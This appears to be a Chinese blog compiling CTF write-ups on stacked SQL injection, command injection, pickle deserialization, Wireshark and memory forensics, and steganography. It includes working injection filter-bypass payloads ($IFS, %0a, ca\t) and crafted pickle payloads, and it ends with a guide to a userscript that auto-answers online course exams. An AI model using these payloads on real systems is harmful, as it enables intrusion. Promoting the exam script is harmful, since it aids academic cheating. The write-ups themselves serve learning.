0%

基本概念

将原来的语句构造完后加上分号,代表该语句结束,后面再输入的就是新的sql语句。

使用条件

堆叠注入的使用条件有限。只有当调用数据库函数支持执行多条sql语句时才能够使用,比如php中的mysqli_multi_query()函数。
sql=”select * from flag where id=$_POST[‘id’]”;
则可构造:
1;select * from flag
练习题:BUUCTF [SUCTF 2019]EasySQL

题目环境:ctfhub-综合命令注入

致敬、参考:回车&换行

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

通过阅读源码发现,过滤了| & ; 空格 / cat flag ctfhub这几个关键字。不绕过的话根本日不进去。接下来考虑绕过
首先先ls一下看看里面有啥。想ls,首先要把分隔符绕过了才能ls。这里采用URL编码,即%0a代表换行符。尝试:
成功。接下来我们需要做的是查看flag_is_here文件夹有啥。(或许不是文件夹)
这里由于过滤了flag字段和空格,所以可以采用fl\ag这种形式绕过flag,采用${IFS}绕过空格过滤。payload:ip=127.0.0.1%0als${IFS}fl\ag_is_here
之后得到结果flag_5145112918545.php。下一步就应该康康这里面有什么了。假设当前目录为/,我们需要读取/flag_is_here/flag_5145112918545.php文件的内容。
继续分析。由于过滤了路径分隔符\,考虑采用综合命令:先cd进入flag_is_here文件夹,然后cat flag_5145112918545.php文件,当然,针对cat的绕过有很多方法 比如ca\t 或者直接sort flag_5145112918545.php
payload:ip=127.0.0.1%0acd${IFS}fl\ag_is_here%0aca\t${IFS}fl\ag_5145112918545.php
或者把ca\t换成sort。一样

注意内容:这里换行符需要注意。换行符的URL编码为%0a,采用GET方式。所以需要你直接使用GET方式提交数据,而不能在输入框输入数据。因为在输入框输入数据后,浏览器会自动进行一次urlencode()的过程,会把%0a再次url编码成别的。这就不是我们想要的了。所以可以用hackbar或者burp直接用get方式提交。

常见命令注入绕过姿势

先看致敬、参考链接中的回车&换行。

command1 && command2 cmd1成功执行后执行cmd2
command1 | command2 只执行command2
cmd1 || cmd2 cmd1不成功执行则执行cmd2
command1 & command2 先执行command2后执行command1
空格绕过(以、为分界):<、<>、${IFS}、$IFS$9
$IFS 代表分隔符,$9代表当前系统shell进程中的第九个参数持有者,始终为空字符串。
比如:cat ${IFS}filename ===cat $IFS$9filename ===cat filenmae
;绕过:
首先要知道;代表连续指令,简单地说就是用;可以把多条指令写一行然后分别执行。
绕过方法:使用%0a编码绕过。
原理:
假设原命令为cmd1;cmd2;cmd3\n
使用%0a绕过后:cmd1%0acmd2%0acmd3%0a ==>cmd1\ncmd2\ncmd3\n 注意理解换行符的概念。就知道为什么这样可以绕过了。(粗暴的理解:一个\n就代表\n前面的命令执行一次)
黑名单字符绕过:
a=fl;b=ag;$a$b ->flag
cat ca\t ->cat
或者用别的方法。比如可以用sort/head/tail/strings 替换cat
#URL解析全过程
什么是URL
区分URL\URI
URL统一资源定位符,用于互联网上不同的资源的标识,就像不同的人有不同的身份证一样。
URL包括协议、域名、路径、参数、查询等。
比如:http://polosec.github.io/index.html

URL编码规则

Url编码通常也被称为百分号编码,编码方式非常简单,使用%百分号加上两位的字符——0123456789ABCDEF——代表一个字节的十六进制形式。Url编码默认使用的字符集是US-ASCII。例如a在US-ASCII码中对应的字节是0x61,那么Url编码之后得到的就是%61,我们在地址栏上输入 http://g.cn/search?q=%61%62%63 ,实际上就等同于在google上搜索abc了。又如@符号在ASCII字符集中对应的字节为0x40,经过Url编码之后得到的是%40。
对于非ASCII字符,需要使用ASCII字符集的超集进行编码得到相应的字节,然后对每个字节执行百分号编码。对于Unicode字符,RFC文档建议使用utf-8对其进行编码得到相应的字节,然后对每个字节执行百分号编码。如”中文”使用UTF-8字符集得到的字节为0xE4 0xB8 0xAD 0xE6 0x96 0x87,经过Url编码之后得到”%E4%B8%AD%E6%96%87”。

URL编码/解码时间节点

发送请求的时候客户端会自动编码,服务器端接受到请求后会自动解码;然后编码发送给客户端;客户端再解码。
关于二次编码/二次解码的问题:二次编码&二次解码用来解决中文编码后乱码的问题

域名解析

输入URL按回车后,首先进行的是域名解析操作。首先查看缓存:依次查找浏览器内部缓存、本机hosts文件、本地路由器缓存、然后是ISP提供商的缓存。
如果缓存都没有的话,则本地DNS服务器向根域名服务器进行迭代查询,查询到结果后返回给主机。递归查询、迭代查询

进行TCP连接(三次握手)

获取到服务器IP地址后,浏览器会以一个随机端口向服务器的80(默认)端口发起TCP连接请求。

客户端发送HTTP请求

建立连接后,浏览器发送一个HTTP请求。请求包含请求头和请求正文。请求头一般包括请求方法,资源路径,HTTP协议版本、cookie、host、accept等字段。请求正文则是客户端发送的信息。

服务器响应HTTP请求

HTTP响应包括了状态行、响应头、响应正文。
状态行标识了http协议版本与状态码。
响应头包含了一些字段。比如set-cookie,date,allow,content-encoding等字段。以K:V形式出现。

浏览器显示html页面

1.加载解析HTML,开始构建DOM树。
2.遇到CSS外链,异步加载解析CSS,构建CSS规则树。
3.遇到script标签,如果是普通JS标签则同步加载并执行,阻塞页面渲染,如果标签上有defer/async属性则异步加载JS资源。设置defer的JS资源会在DOMContentLoaded事件之前执行;设置了async的JS资源加载完就执行。
4.合并DOM树和CSS规则树生成render树。
5.布局render树,计算各元素的尺寸、位置等,在内存上生成Bitmap。
6.渲染render树,将内存上的Bitmap绘制到屏幕上。

页面加载完成

预备知识:wireshark基本操作

题目分析:黑客通过wireshark抓到管理员登陆网站的一段流量包(管理员的密码即是答案) 注意:得到的 flag 请包上 flag{} 提交

打开数据包首先考虑登录页面,往下稍微翻了一下就看到了一个意思登录页面(编号20) 是向user.php提交数据,盲猜登陆界面。
然后追踪流-TCP流,即可看到密码。

这应该是第一道秒的题 太菜了。

预备知识:python、pickle、stack、面向对象基础

致敬:从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
注意:此篇文章需先通读文章链接中的一些基础概念,否则理解起来可能存在困难,在对例题进行讲解的过程中不会过多阐述基础概念。

BB几句

其实之前没怎么接触过python pickle模块的反序列化,或者说没接触过反序列化,这次”高校抗疫”CTF线上赛给我上了一课。
有一道webtmp的题目,是与python pickle模块的反序列化有关,我也找到了非常详细的解析(致敬部分已贴出),但是没有沉下心认真地去一步步地做,所以这道题也没有做出来,其实这道题不难,做出来的师傅还是很多的。
相反,内存取证的一道题我根据教程一步步做出来了,也可能是之前web没做出来过题导致了这个结果。还需努力!

相关概念

建议通读 致敬文章。
需要明确的概念:
数据结构–栈。
python数据类型:list、tuple、dict Python中list(列表)、dict(字典)、tuple(元组)、set(集合)详细介绍
pickle、pickletools :详见致敬部分链接。

题目分析

第一题:


题目链接:HITCTF
题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import base64
import pickle

from flask import Flask, Response, render_template, request
import pickletools,sys

app = Flask(__name__)

class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = pickle.loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(favorite.name, favorite.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
return 'something wrong...'

sample_obj = Animal('kitty', 'cat')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

题目的要求是,传入一个经过base64加密的pickle序列化后的字符串,在服务器端对该字符串进行解析,如果不包含R指令码并且解析后的对象类型为Animal,并且与其规定的favorite对象的name与category属性都一样的话,则可获得flag。
对代码进行审计,观察第34行,过滤了R指令码,即堵上了RCE这条路。
继续分析,发现并没有重写find_class方法,即可以通过引入favorite.name 和favorite.category的方法通过判定。
即:

1
2
3
o1=Animal()
o1.name=favorite.name
o1.category=favorite.category

这样构造的对象可以保证通过correct = (result == Animal(favorite.name, favorite.category))这句代码的判定。
接下来的问题是构造这种对象。
通过对指令码的学习,我们可以构造出这种对象。首先构造正常的animal对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import pickle,pickletools
o1=Animal('xx','yy')
normal=pickle.dumps(o1)#这是正常animal经序列化后的数据,
ser=b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00xxq\x04X\x08\x00\x00\x00categoryq\x05X\x02\x00\x00\x00yyq\x06ub.'#这是序列化之后的数据(字符串形式)其实就是normal,我把它打印出来了。
pickletools.dis(normal)
#下面为pickletools.dis(normal)的结果
0: \x80 PROTO 3
2: c GLOBAL '__main__ Animal'
19: q BINPUT 0
21: ) EMPTY_TUPLE
22: \x81 NEWOBJ
23: q BINPUT 1
25: } EMPTY_DICT
26: q BINPUT 2
28: ( MARK
29: X BINUNICODE 'name'
38: q BINPUT 3
40: X BINUNICODE 'xx'
47: q BINPUT 4
49: X BINUNICODE 'category'
62: q BINPUT 5
64: X BINUNICODE 'yy'
71: q BINPUT 6
73: u SETITEMS (MARK at 28)
74: b BUILD
75: . STOP

根据思路,只需要把40 64标号处的值替换为favorite.name、favorite.category即可。
方法:使用c(global)指令引入我们所需的数据。即把’xx’ 通过c指令换成favorite.name,’yy’换成favorite.category
实现:把ser中xx与yy的编码使用golbal favorite.xx替换。

1
payload=b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03cfavorite\nname\nq\x04X\x08\x00\x00\x00categoryq\x05cfavorite\ncategory\nq\x06ub.'

Then,encode it!

1
print(base64.b64encode(payload))

最终结果:
gANjX19tYWluX18KQW5pbWFsCnEAKYFxAX1xAihYBAAAAG5hbWVxA2NmYXZvcml0ZQpuYW1lCnEEWAgAAABjYXRlZ29yeXEFY2Zhdm9yaXRlCmNhdGVnb3J5CnEGdWIu

第二题

题目链接:HITCTF
题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import favorite


app = Flask(__name__)


class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(favorite.name, favorite.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"

sample_obj = Animal('kitty', 'cat')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

题目分析:相比上一个题,该题多了一个find_class方法的重写。规定了module只能是main中的,所以就无法引入favorite了。
解题思路:
通过main.blue引入这一个module,由于命名空间还在main内,故不会被拦截。
然后修改当前引入对象的属性,自定义即可。
然后把这个对象弹出,再压入一个正常的animal对象。注意:该正常对象的属性值须与你刚才设定的属性值相同。
payload=b’\x80\x03c__main__\nfavorite\n}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00xxX\x08\x00\x00\x00categoryX\x02\x00\x00\x00yyub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00xxX\x08\x00\x00\x00categoryX\x02\x00\x00\x00yyub.’
经过base64加密后提交即可。

总结

这类问题只能说初步了解,具体还有很多细节没有弄明白。还需要进一步学习。
最后一道题的payload在写完favorite\n后压入一个空dict后,把当前栈这个整体,作为一个list,压进前序栈(opcode: (( 也就是MARK操作符))。之后的操作就是更新favorite.name 和favorite.category分别为xx 和yy。对应X\x04\x00\x00\x00nameX\x02\x00\x00\x00xxX\x08\x00\x00\x00categoryX\x02\x00\x00\x00yy。
然后u就是形成键值对,b-build,把当前键值对的值给前序栈中的对象。这样前半部分的操作就完成了。对该对象修改完之后直接弹出(opcode : 0),不管他了,然后再插一个正经对象,属性值一样就OK。

预备知识 wireshark、SYN、TCP、HTTP

参考、致敬:WireShark教程 – 黑客发现之旅(5) – (nmap)扫描探测

文件分析

那到手的文件啥也不是,文件名zip,考虑压缩文件。
解压后得到一数据包,用wireshark打开

数据包分析

常规追踪了一下TCP流、HTTP流、导出对象,并没有什么收获。
接下来分析题目,说是扫描端口,结合HTTP导出对象中的nmap字样,猜测是NMAP扫描。
结合参考中的链接,可以推测扫描方式为全连接扫描。
通过对特征字段的分析,发现端口存在的数据包返回的TSecr字段的值不为0,则可以根据此找出开放的端口。
按ctrl+f弹出上方搜索框,选择字符串,搜索TSecr=4799。

题目总结

这道题其实不太难,懂得扫描方式可以把这题秒了,但是我8太懂,还是现百度的。事实证明考高分没用,重要的是实践!

预备知识:wireshark流量分析、binwalk、内存取证、USB、volatility 、strings、grep

参考、致敬:CTF 内存取证 USB流量分析

附件分析

拿到附件后,只有一个数据包文件。不用想,直接用wireshark打开分析一波。
##文件分析
这玩意确实挺大的,首先考虑包含了文件,使用kali linux 下的工具binwalk分析一波。
但是binwalk出来的附件在解压时都损坏了,此路不通。
继续分析我们的流量包,追踪http协议。
发现了巨大的包,可能有附件,于是在wireshark中导出http对象。(左上角文件-导出对象-http)
接下来观察导出的文件
有两个一样的较大的php文件,考虑文件包含。再次丢到binwalk里面分析一波。
果不其然,分离出了data.vmem文件。可以理解为vmem文件保存了当时内存中的数据,以支持在虚拟机中的暂停功能。
接下来用内存分析工具volatility 分析data.vmem
使用方法: volatility -f filename imageinfo //查看镜像信息。
通过imageinfo 可以确定,镜像为WinXPSP2x86或者WinXPSP3x86.(影响不大)
接下来使用命令 volatility -f data.vmem –profile=WinXPSP2x86 filescan 扫描内存中的文件
可以看到有一堆文件。由于是ctf比赛,尝试过滤文件:比赛名称xctf或者flag 即
volatility -f data.vmem –profile=WinXPSP2x86 filescan |grep flag
volatility -f data.vmem –profile=WinXPSP2x86 filescan |grep xctf]
通过过滤flag 我们找到了flag.img文件。

DUMP IT!

接下来需要做的事将flag.img 导出。
使用命令 volatility -f data.vmem –profile=WinXPSP2x86 dumpfiles -Q 0x0000000001155f90 -D ./
将文件导出至当前目录。
导出文件为二进制格式。
接下来继续binwalk分析。
可以得到一个压缩包,压缩包里包含了加密的usb.txt文件。下一步就是获取加密的密码。
在尝试爆破的同时,继续进行内存取证分析。
通过volatility工具的子命令 hivelist 可以获得内存中的注册表信息,cmdscan查看cmd操作,connscan查看网络连接,pslist查看进程。
通过cmscan我们可以发现提示了密码:
尝试将该密码作为文件的解压密码(使用360解压,可以自动修复文件)—-成功!
现在获得了敲击码,接下来就是将敲击码转换为字符。
使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import sys
import os


usb_codes = {
0x04:"aA", 0x05:"bB", 0x06:"cC", 0x07:"dD", 0x08:"eE", 0x09:"fF",
0x0A:"gG", 0x0B:"hH", 0x0C:"iI", 0x0D:"jJ", 0x0E:"kK", 0x0F:"lL",
0x10:"mM", 0x11:"nN", 0x12:"oO", 0x13:"pP", 0x14:"qQ", 0x15:"rR",
0x16:"sS", 0x17:"tT", 0x18:"uU", 0x19:"vV", 0x1A:"wW", 0x1B:"xX",
0x1C:"yY", 0x1D:"zZ", 0x1E:"1!", 0x1F:"2@", 0x20:"3#", 0x21:"4$",
0x22:"5%", 0x23:"6^", 0x24:"7&", 0x25:"8*", 0x26:"9(", 0x27:"0)",
0x2C:" ", 0x2D:"-_", 0x2E:"=+", 0x2F:"[{", 0x30:"]}", 0x32:"#~",
0x33:";:", 0x34:"'\"", 0x36:",<", 0x37:".>", 0x4f:">", 0x50:"<"
}

def code2chr(filepath):
lines = []
pos = 0
for x in open(filepath,"r").readlines():
code = int(x[6:8],16) # 即第三个字节
if code == 0:
continue
# newline or down arrow - move down
if code == 0x51 or code == 0x28:
pos += 1
continue
# up arrow - move up
if code == 0x52:
pos -= 1
continue

# select the character based on the Shift key
while len(lines) <= pos:
lines.append("")
if code in range(4,81):
if int(x[0:2],16) == 2:
lines[pos] += usb_codes[code][1]
else:
lines[pos] += usb_codes[code][0]

for x in lines:
print(x)


if __name__ == "__main__":
# check argv
if len(sys.argv) != 2:
print("Usage:\n\tpython keyboardScanCode.py datafile.txt\nhow to get datafile:\t tshark -r file.usb.pcapng -T fields -e usb.capdata > datafile.txt")
exit(1)
else:
filepath = sys.argv[1]
code2chr(filepath)

读取usbdata.txt即可获取flag.

注意将括号[]转为{}

题目总结

预备知识 :kali linux、binwalk使用、文件头文件尾、base64、摩斯密码

附件分析:我们拿到一个压缩包,包括了一张图片和一个压缩包。子压缩包中有flag,但是被加密了。

图片处理

将图片解压后,我们可以看到图片是裂的,不能看。所以考虑将图片修复。常见文件头尾
使用winhex打开后,发现文件头尾正确。但是文件尾部并不是以FF D9结尾。所以我们考虑可能有额外的文件包含在了这张图片中。

文件分离

使用binwalk 工具,可以分析文件结构,将复合文件提取出来。
使用方法:binwalk -e filename eg:binwalk -e photo.jpg

分析完后可以发现文本ctf.txt 打开后发现是摩斯密码,使用工具将其解密后为EPIDEMICSITUATIONOFUNIVERSITYWAR
由于不是常见的密码形式,于是尝试base64解码。
解码后得到EPIDEMICSITUATIONOFUNIVERSITYWAR
然后解压附件中的加密文件。
解压后,附件flag.txt中的文件内容为VGgxc19pc19GbGFHX3lvdV9hUkVfcmlnSFQ=
看到=,考虑base64编码。进行解码。base64解码工具
解码后的内容为Th1s_is_FlaG_you_aRE_rigHT
即可获得正确flag。

题目总结

这道题相对比较简单 虽然师傅们秒了,我还是花了几分钟才做出来。也可能是运气成分,加上这题比较简单,所以思路比较清晰。
这题的关键是文件分离与看得懂编码。base系列编码介绍

预备知识:伪加密链接、十六进制文件读取、音频处理、二维码复原

附件分析

1.拿到这道题的文件后,首先看到一张二维码,还有一个有解压密码的压缩包。
2.首先对这张二维码进行分析。放入WINHEX(16进制分析工具)后可以发现,在文件的最后隐约有提示”use base64 to get your flag”。暂时不知道什么用,记下来。
3.由于二维码是残缺的,通过PS对二维码的三个定位点复原后可以获得原二维码,然而没有有用的信息。这里不作详细解释。
4.接下来我们着手分析这个加密的压缩包。

加密压缩包处理

由于压缩包是加密的,首先考虑暴力破解、CRC32碰撞等方式破解密码—-无效。
接下来考虑到压缩包可能是伪加密(关于伪加密的详细概念见预备知识中的链接)简单来说就是实际上压缩包是没有加密的,只是出现了表面上加密,让你输入解压密码。
破解伪加密的方法:使用winhex软件打开压缩包,将504B0304后的第3、4个字节改为00 00,将504B0102后的第5、6个字节改为00 00即可破解伪加密。
之后再解压文件就不会提示输入解压密码了。

音频文件分析

使用音频分析软件Audacity打开wav文件进行分析。
点击软件左方倒三角,模式切换到波形(db)即可发现音频文件的前后都有听不到、但是有分贝的部分。
然后把中间的能听到的部分切掉,将剩下的听不到的部分导出,然后打开AU。
打开AU后导入文件,看到音轨是平的,于是我们增加分贝。
统一增加分贝后,由于前面一段的声音太小,于是对前面一段单独增加分贝。
这样就可以听清了。然后打开手机拨号键盘,根据拨号音以及之间的细微差别,可以听出播的号码为187485618521。根据开头图片给的提示,通过base64加密后,即可获得flag.

题目总结

这道题整体来说不难。但是在音频处理的时候很多人想不到拨号音以及放大。在听拨号音的时候其实可以用一些工具,但是对音频分贝的处理以及噪声可能会导致工具识别错误。所以采用用耳朵听的方式。
在听的时候先听前五个,自己去拨号模拟一下。前五个比较好确定。
然后听最后三个 只有4种特定的键位才能形成最后三个的音调。然后两两确定中间的67 89,多次尝试后即可获得正确的结果。

使用谷歌浏览器安装油猴插件

油猴下载链接 获取油猴脚本的插件(需要科学上网)。下载后根据提示,将油猴插件添加至chrome扩展。
添加过后就可以在地址栏右侧看到这个图标:代表安装成功。
无需科学上网的方法:
墙内链接获取油猴脚本.CRX文件,然后在浏览器地址栏输入chrome://extensions 添加.crx文件。
详细添加教程转自Chrome安装CRX插件方法

获取看网课脚本

随后单击该图标,选择获取新脚本。点击第二个”GreasyFork”。进入后搜索”智慧树网课助手”单击进入后,选择安装。
安装后是这样:随后打开网课系统,登陆后点开需要看的网课可自动1.5倍速静音播放。

自动考试

该脚本最好的功能(个人认为)是自动考试功能。
使用方法:选择章节作业/考试,点进去后脚本会自动搜索题目答案并且自动选择,等所有答案检索完毕后提交即可。

吐槽

智慧树平台个人感觉一般。
1.登陆时界面不够人性化,而且选择学号登陆时,选择学校,输入完学号密码后按回车登录会跳转到手机号登录。再次选择学号登录才能正常登录。
2.成绩分析界面 看课习惯时间轴逆序。做这个图的程序员起夜级李姐 :)。